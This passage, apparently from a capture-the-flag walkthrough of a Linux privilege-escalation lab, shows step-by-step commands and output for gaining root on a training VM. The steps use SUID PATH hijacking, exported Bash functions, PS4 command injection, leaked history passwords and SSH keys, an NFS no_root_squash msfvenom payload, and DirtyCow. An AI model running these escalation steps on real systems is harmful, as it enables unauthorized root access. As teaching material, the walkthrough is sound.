service apache2 start
Compile the code located at /home/user/tools/suid/service.c into an executable called service.
user@debian:~ $ cat /home/user/tools/suid/service.c
int main () {
setuid(0);
system(" /bin/bash -p" );
}
user@debian:~ $ gcc -o service /home/user/tools/suid/service.c
Prepend the current directory to the PATH variable and run the suid-env executable to gain a root shell:
user@debian:~ $ PATH=.:$PATH /usr/local/bin/suid-env
root@debian:~ # id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Task 14 SUID / SGID Executables - Abusing Shell Features (#1)
The /usr/local/bin/suid-env2 executable uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.
user@debian:~ $ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$( L
| $0 H
/usr/sbin/service apache2 start
In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths. Verify the version of Bash installed on the Debian VM is less than 4.2-048:
user@debian:~ $ /bin/bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Create a Bash function with the name "/usr/sbin/service" that executes a new Bash shell
user@debian:~ $ function /usr/sbin/service { /bin/bash -p; }
user@debian:~ $ export -f /usr/sbin/service
Run the suid-env2 executable to gain a root shell:
user@debian:~ $ /usr/local/bin/suid-env2
root@debian:~ # id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Task 15 SUID / SGID Executables - Abusing Shell Features (#2)
This will not work on Bash versions 4.4 and above. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:
user@debian:~ $ env -i SHELLOPTS=xtrace PS4=' $(cp /bin/bash /tmp/rootbash2; chmod +xs /tmp/rootbash2)' /usr/local/bin/suid-env2
/usr/sbin/service apache2 start
basename /usr/sbin/service
VERSION=' service ver. 0.91-ubuntu1'
basename /usr/sbin/service
USAGE=' Usage: service < option > | --status-all | [ service_name [ command | --full-restart ] ]'
SERVICE=
ACTION=
SERVICEDIR=/etc/init.d
OPTIONS=
' [' 2 -eq 0 ' ]'
cd /
' [' 2 -gt 0 ' ]'
case " ${1} " in
' [' -z ' ' -a 2 -eq 1 -a apache2 = --status-all ' ]'
' [' 2 -eq 2 -a start = --full-restart ' ]'
' [' -z ' ' ' ]'
SERVICE=apache2
shift
' [' 1 -gt 0 ' ]'
case " ${1} " in
' [' -z apache2 -a 1 -eq 1 -a start = --status-all ' ]'
' [' 1 -eq 2 -a ' ' = --full-restart ' ]'
' [' -z apache2 ' ]'
' [' -z ' ' ' ]'
ACTION=start
shift
' [' 0 -gt 0 ' ]'
' [' -r /etc/init/apache2.conf ' ]'
' [' -x /etc/init.d/apache2 ' ]'
exec env -i LANG= PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin TERM=dumb /etc/init.d/apache2 start
Starting web server: apache2httpd (pid 1622) already running
.
Run the /tmp/rootbash executable with -p to gain a shell running with root privileges:
user@debian:~ $ /tmp/rootbash2 -p
rootbash2-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Task 16 Passwords & Keys - History Files
View the contents of all the hidden history files in the user's home directory. What is the full mysql command the user executed?
user@debian:~ $ cat ~ /.* history | less
mysql -h somehost.local -uroot -ppassword123
Task 17 Passwords & Keys - Config Files
Note the presence of a myvpn.ovpn config file. View the contents of the file. What file did you find the root user's credentials in?
user@debian:~ $ cat /home/user/myvpn.ovpn | grep pass
auth-user-pass /etc/openvpn/auth.txt
Task 18 Passwords & Keys - SSH Keys
Inspect the private SSH key
user@debian:~ $ ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 25 2019 root_key
Give it the correct permissions and use the key to login to the Debian VM as the root account
$ chmod 600 root_key
$ ssh -i root_key root@10.10.126.73
root@debian:~ # id
uid=0(root) gid=0(root) groups=0(root)
Check the NFS share configuration on the Debian VM. Note that the /tmp share has root squashing disabled.
user@debian:~ $ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/tmp * (rw,sync,insecure,no_root_squash,no_subtree_check)
Using Kali's root user, create a mount point on your Kali box and mount the /tmp share
$ sudo mount -o rw,vers=2 10.10.126.73:/tmp ./nfs
Generate a payload using msfvenom and save it to the mounted share
$ sudo msfvenom -p linux/x86/exec CMD=" /bin/bash -p" -f elf -o ./nfs/shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of elf file: 132 bytes
Saved as: ./nfs/shell.elf
$ sudo chmod +xs ./nfs/shell.elf
Execute the file to gain a root shell
user@debian:~ $ /tmp/shell.elf
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
Run the Linux Exploit Suggester 2 tool to identify potential kernel exploits on the current system:
user@debian:~ $ perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl
# ############################
Linux Exploit Suggester 2
# ############################
Local Kernel: 2.6.32
Searching 72 exploits...
Possible Exploits
[1] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[4] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[5] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[6] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[8] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[9] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[10] ptrace_kmod2
Alt: ia32syscall,robert_you_suck CVE-2010-3301
Source: http://www.exploit-db.com/exploits/15023
[11] rawmodePTY
CVE-2014-0196
Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c
[12] rds
CVE-2010-3904
Source: http://www.exploit-db.com/exploits/15285
[13] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[14] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
Compile the code and run it
user@debian:~ $ gcc -pthread /home/user/tools/kernel-exploits/dirtycow/c0w.c -o dirty
user@debian:~ $ ./dirty
(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap db58c000
madvise 0
ptrace 0
user@debian:~ $ passwd
root@debian:/home/user# id
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)